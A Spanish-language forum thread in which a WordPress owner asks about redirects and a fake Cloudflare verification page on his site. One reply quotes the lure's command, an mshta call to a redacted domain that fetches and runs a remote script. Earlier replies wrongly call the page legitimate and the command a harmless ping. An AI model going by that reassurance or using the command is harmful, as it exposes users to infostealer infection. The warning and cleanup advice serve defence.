Malware en mi sitio web? lo hackearon?

zitmit · 2 Abr 2025

Hola recien visitaba mi sitio web y me di cuenta que al entrar despues redirigia a Google.com desactive todos los plugins y al parecer dejó de hacerlo, pero despúes de entrar a 2 o 3 paginas me ingresa esta siguiente pantalla que creo es FAKE.

creo que también redirecciona a este sitio brl.ajax.it.com, ya que desde tiktok al abrir mi web me decia que intentaba abrir ese sitio.

Conozco solo lo básico de wordpres y el hosting (estoy en banahosting por cierto), alquien me puede ayudar por favor, no se que debería de hacer.

BotBeta · 2 Abr 2025

Parece que tu sitio ha sido comprometido. Aquí hay algunos pasos que puedes seguir:

1. Cambia las contraseñas de tu panel de WordPress, FTP y base de datos.
2. Escanea tu sitio con un plugin de seguridad como Wordfence o Sucuri.
3. Revisa los archivos de tu tema y plugins en busca de código malicioso.
4. Actualiza WordPress, temas y plugins a sus versiones más recientes.
5. Consulta con tu proveedor de hosting para informarles sobre el problema y que puedan ayudarte.

Si no te sientes cómodo haciéndolo tú mismo, considera buscar ayuda profesional.

lizcasallas · 2 Abr 2025

Espero tengas un backup del sitio comprometido, limpia el hosting con ayuda del proveedor o si no sabes como hacerlo, contrata los servicios de expertos como @Mega

RicardoPDC · 2 Abr 2025

Lo más probable es que te hayan inyectado ese malware, esto quiere decir que en algún formulario por ejemplo introdujeron código

Esto te lo digo para que revises todos los text área e inputs Para esta tarde detectar por dónde te inyectaron el código Y lo podrás corregir para que no te lo vuelvan a hacer, Si es que fue una inyección

404notfound · 2 Abr 2025

Ingrese a tu sitio y me muestra lo mismo hasta el punto que no me deja ver otras páginas.

Deberías de hacer algo pronto, porque si tienes AdSense en tu sitio esto te puede afectar.

zitmit · 2 Abr 2025

lizcasallas dijo:
Espero tengas un backup del sitio comprometido, limpia el hosting con ayuda del proveedor o si no sabes como hacerlo, contrata los servicios de expertos como @Mega

@Mega alguna opinión bro.

4ngeluxpunk · 2 Abr 2025

Hola @zitmit estas usando Cloudflare por lo cual al haber posibles ataques a tu web, mostrara un captcha para poder validar que no eres robot. Lo que te muestra ahy no quiere decir que es virus o que tu web a sido infectada.

zitmit · 2 Abr 2025

4ngeluxpunk dijo:
Hola @zitmit estas usando Cloudflare por lo cual al haber posibles ataques a tu web, mostrara un captcha para poder validar que no eres robot. Lo que te muestra ahy no quiere decir que es virus o que tu web a sido infectada.

pero está raro el mensaje no? y eso de introducir un código suena a fake

4ngeluxpunk · 2 Abr 2025

zitmit dijo:
pero está raro el mensaje no? y eso de introducir un código suena a fake

No es raro, es normal. Eso es un nivel de seguridad al tener Cloudflare activado. Al ingresar normal puedo manejarme dentro de tu web sin problemas. Ya no me sale para volver a verificar si soy un robot.

arney · 2 Abr 2025

zitmit dijo:
pero está raro el mensaje no? y eso de introducir un código suena a fake

debiste de enviar captura completa para ver la url y asi validar

4ngeluxpunk · 2 Abr 2025

arney dijo:
debiste de enviar captura completa para ver la url y asi validar

Lo puedes validar ingresando a la web, desplazarte por sus diferentes apartados. Y corroborar que el nivel de seguirdad de Cloudflare es el que muestra el captcha y/o código para que pueda verificar que no son robot.

arney · 2 Abr 2025

ahi lo que dice es que actividad web irregular en su ip, deberia validar si esta usando proxy o vpn o alterando visitas de alguna manera

solo esta diciendo que valide la ip por medio de cmd, pero para ver si es verdad arriba debe aparecer el dominio igual ejecutando esa codigo cmd solo es un ping no le hacen nada a su pc, hagalo y valida que se le vaya

4ngeluxpunk · 2 Abr 2025

arney dijo:
ahi lo que dice es que actividad web irregular en su ip, deberia validar si esta usando proxy o vpn o alterando visitas de alguna manera

solo esta diciendo que valide la ip por medio de cmd, pero para ver si es verdad arriba debe aparecer el dominio igual ejecutando esa codigo cmd solo es un ping no le hacen nada a su pc, hagalo y valida que se le vaya

Exacto, es lo que se le ha mencionado a @zitmit por lo cual no debe alarmarse que le hallan hackeado la web o algo parecido, solo es una medida de seguridad del mismo Cloudflare.

gifer · 2 Abr 2025

4ngeluxpunk dijo:
No es raro, es normal. Eso es un nivel de seguridad al tener Cloudflare activado. Al ingresar normal puedo manejarme dentro de tu web sin problemas. Ya no me sale para volver a verificar si soy un robot.

arney dijo:
ahi lo que dice es que actividad web irregular en su ip, deberia validar si esta usando proxy o vpn o alterando visitas de alguna manera

solo esta diciendo que valide la ip por medio de cmd, pero para ver si es verdad arriba debe aparecer el dominio igual ejecutando esa codigo cmd solo es un ping no le hacen nada a su pc, hagalo y valida que se le vaya

4ngeluxpunk dijo:
Exacto, es lo que se le ha mencionado a @zitmit por lo cual no debe alarmarse que le hallan hackeado la web o algo parecido, solo es una medida de seguridad del mismo Cloudflare.

Ambos estan equivocados...
El sitio si esta infectado. Esta simulando el tipico desafio captcha de cloudflare (managed challenge).
Lo que estas realmente copiando y pegando con Ejecutar (Win+R) es un script malicioso: mshta http:// dominioeditado.today/ # "Cloudflare Verification Code: 635H-U8N2-P9C1-1NZP"
Y miren lo bonito que ve ese dominio alojando el script...:

El inocente que siguio los pasos y hizo la ejecucion, se debe haber comido un lindo infostealer y alguno que otro regalito...

* el dominio esta editado por razones obvias...

4ngeluxpunk · 3 Abr 2025

gifer dijo:
Ambos estan equivocados...
El sitio si esta infectado. Esta simulando el tipico desafio captcha de cloudflare (managed challenge).
Lo que estas realmente copiando y pegando con Ejecutar (Win+R) es un script malicioso: mshta http:// dominioeditado.today/ # "Cloudflare Verification Code: 635H-U8N2-P9C1-1NZP"
Y miren lo bonito que ve ese dominio alojando el script...:

El inocente que siguio los pasos y hizo la ejecucion, se debe haber comido un lindo infostealer y alguno que otro regalito...

* el dominio esta editado por razones obvias...

Entonces estas usando Windows, ya que en Linux no arroja ni una infección, recuerda que esas herramientas que usas no son 100% efectivas.

4ngeluxpunk · 3 Abr 2025

gifer dijo:
Ambos estan equivocados...
El sitio si esta infectado. Esta simulando el tipico desafio captcha de cloudflare (managed challenge).
Lo que estas realmente copiando y pegando con Ejecutar (Win+R) es un script malicioso: mshta http:// dominioeditado.today/ # "Cloudflare Verification Code: 635H-U8N2-P9C1-1NZP"
Y miren lo bonito que ve ese dominio alojando el script...:

El inocente que siguio los pasos y hizo la ejecucion, se debe haber comido un lindo infostealer y alguno que otro regalito...

* el dominio esta editado por razones obvias...

Incluso analizandolo no muestra lo que publicas:

Carlos Frias · 3 Abr 2025

zitmit dijo:
Hola recien visitaba mi sitio web y me di cuenta que al entrar despues redirigia a Google.com desactive todos los plugins y al parecer dejó de hacerlo, pero despúes de entrar a 2 o 3 paginas me ingresa esta siguiente pantalla que creo es FAKE.

Ver el archivo adjunto 1437990

creo que también redirecciona a este sitio brl.ajax.it.com, ya que desde tiktok al abrir mi web me decia que intentaba abrir ese sitio.

Conozco solo lo básico de wordpres y el hosting (estoy en banahosting por cierto), alquien me puede ayudar por favor, no se que debería de hacer.

Recuerda borrar el cache, y en el caso de providers como bana puedes limpiar el folder detrás del public_html llamado "lscache" de esa forma podrás descartar

splanding · 3 Abr 2025

Yo caí hace rato en otro sitio que quería entrar, primero pensé que era normal, porque ni mi bloqueador, ni mi antivirus salto a alertarme, y desde hace dos dias no podia entrar por el cloudflare, hasta resolvi un captcha despues puse un codigo similar pero para terminal, y de repente ajustes o terminal o algo mas pidió mi contraseña, así que opte por reiniciar mi mac, creo que ya valí xd

4ngeluxpunk · 3 Abr 2025

splanding dijo:
Yo caí hace rato en otro sitio que quería entrar, primero pensé que era normal, porque ni mi bloqueador, ni mi antivirus salto a alertarme, y desde hace dos dias no podia entrar por el cloudflare, hasta resolvi un captcha despues puse un codigo similar pero para terminal, y de repente ajustes o terminal o algo mas pidió mi contraseña, así que opte por reiniciar mi mac, creo que ya valí xd

No ahy si estas mal, por que al pedirte contraseña o otros datos personales de seguridad ahy si no debiste de ingresarlo. Trata de cambiar toda la información de seguridad que tengas en tus cuentas alojadas.

splanding · 3 Abr 2025

4ngeluxpunk dijo:
No ahy si estas mal, por que al pedirte contraseña o otros datos personales de seguridad ahy si no debiste de ingresarlo. Trata de cambiar toda la información de seguridad que tengas en tus cuentas alojadas.

No puse la contraseña, ahi me detuve, ya ando cambiando todo jajaja, quiero creer que mi Mac me salvo? Pero por si las dudas, ya ando cambiando todo, en mi defensa, me dormi tratando de ingresar y fue lo primero que hice al despertar con mi lap a un lado xd

Malware en mi sitio web? lo hackearon?

zitmit

BotBeta

lizcasallas

RicardoPDC

404notfound

zitmit

4ngeluxpunk

zitmit

4ngeluxpunk

arney

4ngeluxpunk

arney

4ngeluxpunk

gifer

4ngeluxpunk

4ngeluxpunk

Carlos Frias

splanding

4ngeluxpunk

splanding

Temas similares